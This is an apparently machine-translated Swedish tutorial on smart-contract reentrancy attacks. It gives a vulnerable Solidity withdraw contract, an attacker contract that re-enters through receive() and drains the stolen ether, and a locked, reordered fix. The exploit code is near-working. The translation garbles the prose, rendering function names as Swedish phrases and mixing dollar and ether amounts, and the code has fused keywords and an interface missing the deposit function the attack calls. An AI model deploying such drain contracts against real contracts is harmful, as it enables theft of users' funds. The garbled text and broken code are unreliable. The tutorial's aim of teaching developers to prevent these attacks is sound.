Så här sker ett av de vanligaste smarta kontraktshackarna som kostar Web 3-företag miljoner...
Några av de största hacken i blockchain-industrin, där kryptovaluta-tokens för miljontals dollar stals, berodde på återinträdesattacker. Även om dessa hack har blivit mindre vanliga de senaste åren, utgör de fortfarande ett betydande hot mot blockkedjeapplikationer och användare.
Så vad exakt är återinträdesattacker? Hur är de utplacerade? Och finns det några åtgärder som utvecklare kan vidta för att förhindra att de händer?
Vad är en återinträdesattack?
En återinträdesattack inträffar när en sårbar smart kontraktsfunktion ringer ett externt anrop till ett skadligt kontrakt och ger tillfälligt upp kontrollen över transaktionsflödet. Det skadliga kontraktet anropar sedan upprepade gånger den ursprungliga smarta kontraktsfunktionen innan den slutförs exekvering samtidigt som den dränerar sina medel.
I huvudsak följer en uttagstransaktion på Ethereum blockchain en cykel i tre steg: saldobekräftelse, remittering och balansuppdatering. Om en cyberbrottsling kan kapa cykeln innan saldouppdateringen, kan de upprepade gånger ta ut pengar tills en plånbok är tömd.
En av de mest ökända blockchain-hackarna, Ethereum DAO-hacket, som omfattas av Codesk, var en återinträdesattack som ledde till en förlust på över $60 miljoner eth och förändrade i grunden kursen för den näst största kryptovalutan.
Hur fungerar en återinträdesattack?
Föreställ dig en bank i din hemstad där dygdiga lokalbefolkningen förvarar sina pengar; dess totala likviditet är 1 miljon dollar. Banken har dock ett felaktigt bokföringssystem – personalen väntar till kvällen med att uppdatera banksaldon.
Din investerarvän besöker staden och upptäcker bokföringsbristen. Han skapar ett konto och sätter in 100 000 $. En dag senare tar han ut 100 000 dollar. Efter en timme gör han ett nytt försök att ta ut $100 000. Eftersom banken inte har uppdaterat sitt saldo står det fortfarande på 100 000 $. Så han får pengarna. Han gör detta upprepade gånger tills det inte finns några pengar kvar. Personalen inser först att det inte finns några pengar när de balanserar böckerna på kvällen.
I samband med ett smart kontrakt går processen till enligt följande:
- En cyberbrottsling identifierar ett smart kontrakt "X" med en sårbarhet.
- Angriparen initierar en legitim transaktion till målkontraktet, X, för att skicka pengar till ett skadligt kontrakt, "Y". Under körningen anropar Y den sårbara funktionen i X.
- X: s kontraktsutförande pausas eller försenas då kontraktet väntar på interaktion med den externa händelsen
- Medan exekveringen är pausad anropar angriparen upprepade gånger samma sårbara funktion i X, vilket återigen utlöser exekveringen så många gånger som möjligt
- Med varje återinträde manipuleras kontraktets tillstånd, vilket gör att angriparen kan tappa pengar från X till Y
- När pengarna har förbrukats stoppas återinträdet, X: s försenade utförande slutförs äntligen och kontraktets tillstånd uppdateras baserat på det senaste återinträdet.
I allmänhet utnyttjar angriparen framgångsrikt sårbarheten för återinträde till sin fördel och stjäl pengar från kontraktet.
Ett exempel på en återinträdesattack
Så exakt hur kan en återinträdesattack rent tekniskt inträffa när den används? Här är ett hypotetiskt smart kontrakt med en gateway för återinträde. Vi kommer att använda axiomatisk namngivning för att göra det lättare att följa med.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
De Sårbart kontrakt låter användare sätta in eth i kontraktet med hjälp av deposition fungera. Användare kan sedan ta tillbaka sin insatta eth med hjälp av dra tillbaka fungera. Det finns dock en sårbarhet för återinträde i dra tillbaka fungera. När en användare drar sig, överför avtalet det begärda beloppet till användarens adress innan saldot uppdateras, vilket skapar en möjlighet för en angripare att utnyttja.
Så här skulle en angripares smarta kontrakt se ut.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
När attacken startar:
- De Angriparkontrakt tar adressen till Sårbart kontrakt i sin konstruktör och lagrar den i sårbart Kontrakt variabel.
- De ge sig på funktionen anropas av angriparen och sätter in lite eth i Sårbart kontrakt använda deposition funktion och sedan omedelbart anropa dra tillbaka funktion av Sårbart kontrakt.
- De dra tillbaka funktion i Sårbart kontrakt överför den begärda mängden eth till angriparens Angriparkontrakt innan du uppdaterar saldot, men eftersom angriparens kontrakt pausas under det externa samtalet är funktionen ännu inte klar.
- De motta funktion i Angriparkontrakt utlöses eftersom Sårbart kontrakt skickade eth till detta kontrakt under det externa samtalet.
- Mottagningsfunktionen kontrollerar om Angriparkontrakt balansen är minst 1 eter (beloppet som ska tas ut), sedan går det in igen Sårbart kontrakt genom att ringa dess dra tillbaka fungera igen.
- Steg tre till fem upprepas tills Sårbart kontrakt får slut på pengar och angriparens kontrakt samlar på sig en betydande mängd etik.
- Slutligen kan angriparen ringa till ta utStolenfonder funktion i Angriparkontrakt att stjäla alla medel som samlats i deras kontrakt.
Attacken kan ske mycket snabbt, beroende på nätverkets prestanda. När man involverade komplexa smarta kontrakt som DAO Hack, vilket ledde till att Ethereums hårda gaffel Ethereum och Ethereum Classic, attacken sker under flera timmar.
Hur man förhindrar en återinträdesattack
För att förhindra en återinträdesattack måste vi modifiera det sårbara smarta kontraktet för att följa bästa praxis för säker smart kontraktsutveckling. I det här fallet bör vi implementera mönstret "checks-effects-interactions" som i koden nedan.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
I denna fasta version har vi introducerat en är låst mappning för att spåra om ett visst konto håller på att göras uttag. När en användare initierar ett uttag kontrollerar kontraktet om deras konto är låst (!isLocked[msg.sender]), vilket indikerar att inget annat uttag från samma konto för närvarande pågår.
Om kontot inte är låst fortsätter kontraktet med tillståndsändringen och extern interaktion. Efter tillståndsändringen och extern interaktion låses kontot upp igen, vilket möjliggör framtida uttag.
Typer av återinträdesattacker
Generellt finns det tre huvudtyper av återinträdesattacker baserat på deras karaktär av utnyttjande.
- Enstaka återinträdesattack: I det här fallet är den sårbara funktionen som angriparen upprepade gånger anropar densamma som är känslig för återinträdesporten. Attacken ovan är ett exempel på en enstaka återinträdesattack, som enkelt kan förhindras genom att implementera korrekta kontroller och låsningar i kod.
- Tvärfunktionsattack: I det här scenariot använder en angripare en sårbar funktion för att anropa en annan funktion inom samma kontrakt som delar tillstånd med den sårbara. Den andra funktionen, anropad av angriparen, har en viss önskvärd effekt, vilket gör den mer attraktiv för exploatering. Denna attack är mer komplex och svårare att upptäcka, så strikta kontroller och låsningar över sammankopplade funktioner krävs för att mildra den.
- Cross-contract attack: Denna attack inträffar när ett externt kontrakt interagerar med ett sårbart kontrakt. Under denna interaktion kallas det sårbara kontraktets tillstånd i det externa kontraktet innan det uppdateras helt. Det händer vanligtvis när flera kontrakt delar samma variabel och vissa uppdaterar den delade variabeln på ett osäkert sätt. Säkra kommunikationsprotokoll mellan kontrakt och periodiska smarta kontraktsrevisioner måste implementeras för att mildra denna attack.
Återinträdesattacker kan visa sig i olika former och kräver därför specifika åtgärder för att förhindra var och en.
Håll dig säker från återinträdesattacker
Återinträdesattacker har orsakat betydande ekonomiska förluster och underminerat förtroendet för blockkedjeapplikationer. För att skydda kontrakt måste utvecklare tillämpa bästa praxis noggrant för att undvika sårbarheter för återinträde.
De bör också implementera säkra uttagsmönster, använda betrodda bibliotek och genomföra noggranna revisioner för att stärka det smarta kontraktets försvar ytterligare. Att hålla sig informerad om nya hot och vara proaktiv med säkerhetsinsatser kan naturligtvis säkerställa att de upprätthåller blockkedjeekosystemens integritet också.